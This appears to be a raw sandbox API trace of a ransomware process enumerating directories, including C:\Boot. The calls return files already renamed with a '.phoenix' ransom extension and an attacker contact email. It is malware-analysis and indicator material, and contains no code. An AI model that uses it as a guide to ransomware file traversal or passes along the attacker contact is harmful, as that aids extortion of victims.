	[0219.223] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f1e8a07, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3f1e8a07, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3f2465b3, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x2892, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="WARNIC~1.PHO")) returned 0
	[0219.223] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.223] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.223] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc1b6cb, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3fc1b6cb, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3fcc9d9c, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xf22, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="header.bmp.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="HEADER~1.PHO")) returned 1
	[0219.223] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x41068a21, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xadd395d, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core.mzz.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="NETFX_~1.PHO")) returned 1
	[0219.224] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x40addca5, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x290312, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x64.msi.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="NETFX_~2.PHO")) returned 1
	[0219.224] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40bab850, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x40bab850, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x413fc44a, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x11c112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Core_x86.msi.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="NETFX_~3.PHO")) returned 1
	[0219.224] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended.mzz.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="NETFX_~4.PHO")) returned 1
	[0219.224] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x413fc44a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x413fc44a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x41eb6cd7, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xd5112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x64.msi.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="NE91D6~1.PHO")) returned 1
	[0219.224] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41eb6cd7, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x41eb6cd7, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x42784fa1, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x79112, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="netfx_Extended_x86.msi.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="NEC7F4~1.PHO")) returned 1
	[0219.224] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fc7d619, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3fc7d619, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3fdb2744, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x427b2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="ParameterInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PARAME~1.PHO")) returned 1
	[0219.224] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4296ed7b, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x4296ed7b, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x42ac61af, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x2d312, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9RAST_x64.msi.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="RGB9RA~1.PHO")) returned 1
	[0219.224] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42aec47a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x42aec47a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x42ce67b8, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x17312, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="RGB9Rast_x86.msi.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="RGB9RA~2.PHO")) returned 1
	[0219.224] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42ce67b8, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x42ce67b8, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x42dc1179, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x13242, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Setup.exe.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPE~1.PHO")) returned 1
	[0219.224] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42de9661, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x42de9661, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x430e234b, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupEngine.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPE~2.PHO")) returned 1
	[0219.225] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4310d61a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x4310d61a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x437767d2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x48252, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPU~2.PHO")) returned 1
	[0219.225] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fcf006b, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3fcf006b, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3fe5c8ce, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x76a2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUi.xsd.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPU~1.PHO")) returned 1
	[0219.225] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x437767d2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x437767d2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x44b8e6e2, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x17862, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SetupUtility.exe.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPU~3.PHO")) returned 1
	[0219.225] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdb2744, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3fdb2744, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3fdfb03d, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0xa182, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SplashScreen.bmp.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SPLASH~1.PHO")) returned 1
	[0219.225] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44b8e6e2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x44b8e6e2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x45f5b2d1, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x23522, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="sqmapi.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SQMAPI~1.PHO")) returned 1
	[0219.225] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fdfb03d, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3fdfb03d, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x40b57a98, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x3802, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Strings.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="STRING~1.PHO")) returned 1
	[0219.225] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3fe612d8, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3fe612d8, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x40b31767, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x98f2, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="UiInfo.xml.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="UIINFO~1.PHO")) returned 1
	[0219.225] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b7dd6a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x40b7dd6a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x40c62ae6, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x19782, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="watermark.bmp.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="WATERM~1.PHO")) returned 1
	[0219.225] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x4ae08f90, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b5245, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x64.msu.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="WINDOW~1.PHO")) returned 1
	[0219.225] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.0-KB956250-v6001-x86.msu.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="WINDOW~2.PHO")) returned 1
	[0219.226] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0xf84dd7ab, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x59b300, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x64.msu.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="WINDOW~4.PHO")) returned 1
	[0219.226] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xf80d79c3, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x2cae2b, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="WINDOW~3.PHO")) returned 1
	[0219.226] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xf80d79c3, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x2cae2b, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="Windows6.1-KB958488-v6001-x86.msu.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="WINDOW~3.PHO")) returned 0
	[0219.226] FindClose (in: hFindFile=0x1391e0 | out: hFindFile=0x1391e0) returned 1
	[0219.226] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x790078 | out: hHeap=0x680000) returned 1
	[0219.227] FindNextFileW (in: hFindFile=0x1391a0, lpFindFileData=0x2b8f794 | out: lpFindFileData=0x2b8f794*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1
	[0219.227] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\*", lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0219.228] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1
	[0219.228] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xac3efa99, ftLastAccessTime.dwHighDateTime=0x1d4d5d3, ftLastWriteTime.dwLowDateTime=0xac3efa99, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD", cAlternateFileName="")) returned 1
	[0219.228] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG", cAlternateFileName="")) returned 1
	[0219.228] SetEvent (hEvent=0x29c) returned 1
	[0219.228] ResetEvent (hEvent=0x2a0) returned 1
	[0219.228] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1
	[0219.228] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0219.228] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0219.228] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\bg-BG\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0219.229] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0219.229] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0219.229] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0219.229] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0219.229] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0219.229] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0219.229] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b7dd6a, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x40b7dd6a, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x40bab850, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x10102, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="BOOTSTAT.DAT.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="BOOTST~1.PHO")) returned 1
	[0219.229] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1

Thread:
	id = 117
	os_tid = 0xe08

	[0218.879] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x7b0088
	[0218.879] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x10000) returned 0x7c0090
	[0218.880] RtlAllocateHeap (HeapHandle=0x680000, Flags=0x0, Size=0x28) returned 0x6811f0
